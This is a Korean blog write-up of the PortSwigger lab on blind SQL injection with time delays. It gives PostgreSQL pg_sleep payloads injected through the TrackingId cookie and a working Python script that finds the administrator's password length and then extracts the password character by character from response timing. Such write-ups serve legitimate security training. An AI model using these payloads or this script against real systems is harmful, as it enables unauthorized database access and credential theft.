-
[Web Hacking] Portswigger - Blind SQL injection with time delays and information retrievalCoding/Hacking & Security 2023. 1. 5. 00:56
문제에 등장하는 의문의 아저씨 문제 링크 : https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
Lab: Blind SQL injection with time delays and information retrieval | Web Security Academy
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value ...
portswigger.net
Blind SQL injection을 해보자.
문제 분석
기본적으로 SQL injection이 가능하지만 query를 실행한 결과가 따로 출력되지 않는 모양이다.
하지만 query가 synchronously 하게 실행되기 때문에 time delay를 통해 정보를 빼내올 수 있을 것이다.
문제에서 user table에 username, password라는 column이 존재한다는 사실을 알려주었다.
또한, cookie의 TrackingId 값을 포함한 query가 실행된다. 이 값을 통해 SQL injection을 시도할 수 있을 것이다.
목표
Username 이 administrator인 user로 로그인하면 성공이다.
Time delay를 이용해 administrator의 password를 한 글자씩 구해보자.
Burpsuite의 repeater를 이용하기보다는 연습삼아 직접 Python으로 코드를 짜서 문제를 풀 것이다.
풀이
Blind SQL의 기본은 query를 실행했을 때의 결과 혹은 힌트를 어떤 방법으로든 알아내는 것이다.
그 중에서 time based SQL injection은 sleep 함수 등을 이용할 수 있다.
예를 들어서 TrackingId 에 아래와 같은 값을 입력해주었다고 하자.
a'; SELECT CASE WHEN 1=1 THEN pg_sleep(10) ELSE pg_sleep(1) END--
Burpsuite를 이용해 아래와 같이 대입해보았다.
실행 결과 실제로 10초가 소요되는 것을 확인하였다.
이번에는 아래와 같이 1=1 부분을 1=2로 바꾸어 입력해준다면?
a'; SELECT CASE WHEN 1=2 THEN pg_sleep(10) ELSE pg_sleep(1) END--
이번에는 잠깐 멈추었다.
이러한 성질을 이용하여 password를 구해보자.
1. Password의 길이 구하기
무작정 대입해보는 것은 아니고, 우선 password값의 길이를 먼저 구해야 한다.
길이를 비교하기 위해 length 함수를 이용해 query를 구성해보자.
a'; SELECT CASE WHEN ( ?? ) THEN pg_sleep(10) ELSE pg_sleep(0) END--
이 값을 TrackId에 대입하면, 저 ?? 에 들어갈 값이 참이면 10초 기다리고 거짓이면 통과한다.
따라서 ??에 password의 길이에 따라 참이 되기도 하고 거짓이 되기도 하는 query를 대입하면 될 것이다.
(SELECT 'a' FROM users WHERE username='administrator' AND length(password)=1)='a'
이 query는 password의 길이가 1이면 select 문이 a를 반환하여 참이 되고 1이 아니면 거짓이 된다.
결국 최종적인 query는 아래와 같이 구성된다.
a'; SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator' AND length(password)=1)='a' THEN pg_sleep(10) ELSE pg_sleep(0) END--
파이썬을 이용해 위의 코드를 반복하여 보내도록 만들어보자.
이때 csrf 토큰을 받아서 보내주어야 한다. 이 작업을 하는 함수를 먼저 만들어주었다.
import requests as rq urlOrigin = "https://...생략...web-security-academy.net/" url = urlOrigin +"/login" cookies = { "TrackingId":None, "session":None } data = { "csrf":None, "username":"asdf", "password":"asdf" } def reqHeaders(): csrfToken ="" res = rq.get(url = url) if res.status_code == 200: s = str(res.content) indx = s.find("csrf") indxEnd = s[indx:].find(">") csrfToken = s[indx+13:indx + indxEnd-1] data["csrf"] = csrfToken h = res.headers["Set-Cookie"].split(";") TRaw = h[0] sessionRaw = h[2] cookies["TrackingId"] = TRaw[TRaw.find("=")+1:] cookies["session"] = sessionRaw[sessionRaw.find("=")+1:] print(cookies)
주먹구구같다는 느낌이 있지만... 작동한다.
Request를 보내고 csrf token값을 받아서 data에 추가해주어 요청을 보낼 때 함께 보내주게 된다.
이제 request를 보내고 시간을 재서 password의 길이를 알아내는 함수를 작성해보자.
def findLength(): length = 0 while True: reqHeaders() length += 1 query = f"a'%3b%20SELECT%20CASE%20WHEN%20(SELECT%20'a'%20FROM%20users%20WHERE%20username%3d'administrator'%20AND%20length(password)%3d{length})%3d'a'%20THEN%20pg_sleep(10)%20ELSE%20pg_sleep(0)%20END--" cookies["TrackingId"] += query time_start = time.time() res = rq.post(url=url, data=data, cookies=cookies) time_end = time.time() time_dur = time_end - time_start if time_dur > 8: print("length :", length) break return
응답 시간이 8초를 넘기면 pg_sleep(10) 이 실행된 것으로 판단하였다.
실행해준 결과, password의 길이는 20으로 판명되었다.
2. Password 문자열 구하기
비슷한 방법으로, password의 한 문자씩 비교하는 query를 구성할 수 있다.
a'; SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator' AND substring(password,1,1)='a')='a' THEN pg_sleep(10) ELSE pg_sleep(0) END--
위의 query에서 길이를 비교하는 부분만 substring 함수로 바꿔주었다.
이 query를 이용해서 findLength와 비슷하게 함수를 만들어주자.
def findChar(): string = "qwertyuiopasdfghjklzxcvbnm0123456789QWERTYUIOPASDFGHJKLZXCVBNM" string_index = 0 index = 0 full_password = "" while True: reqHeaders() new_char = string[string_index] query = f"a'%3b%20SELECT%20CASE%20WHEN%20(SELECT%20'a'%20FROM%20users%20WHERE%20username%3d'administrator'%20AND%20substring(password%2c{index+1}%2c1)%3d'{new_char}')%3d'a'%20THEN%20pg_sleep(10)%20ELSE%20pg_sleep(0)%20END--" cookies["TrackingId"] += query time_start = time.time() res = rq.post(url=url, data=data, cookies=cookies) time_end = time.time() time_dur = time_end - time_start print(new_char, time_dur) if time_dur >= 10: full_password += new_char index += 1 string_index = 0 print(full_password) else: string_index += 1 if string_index >= len(string): string_index = 0 if index > 20: break return
적당히 적당히 돌아간다.
Reliable한 코드는 아니지만, 문제를 풀 수는 있었다.
언젠가 이 지저분한 코드를 refactoring해보고 싶은 마음이 드는 문제였다.
'Coding > Hacking & Security' 카테고리의 다른 글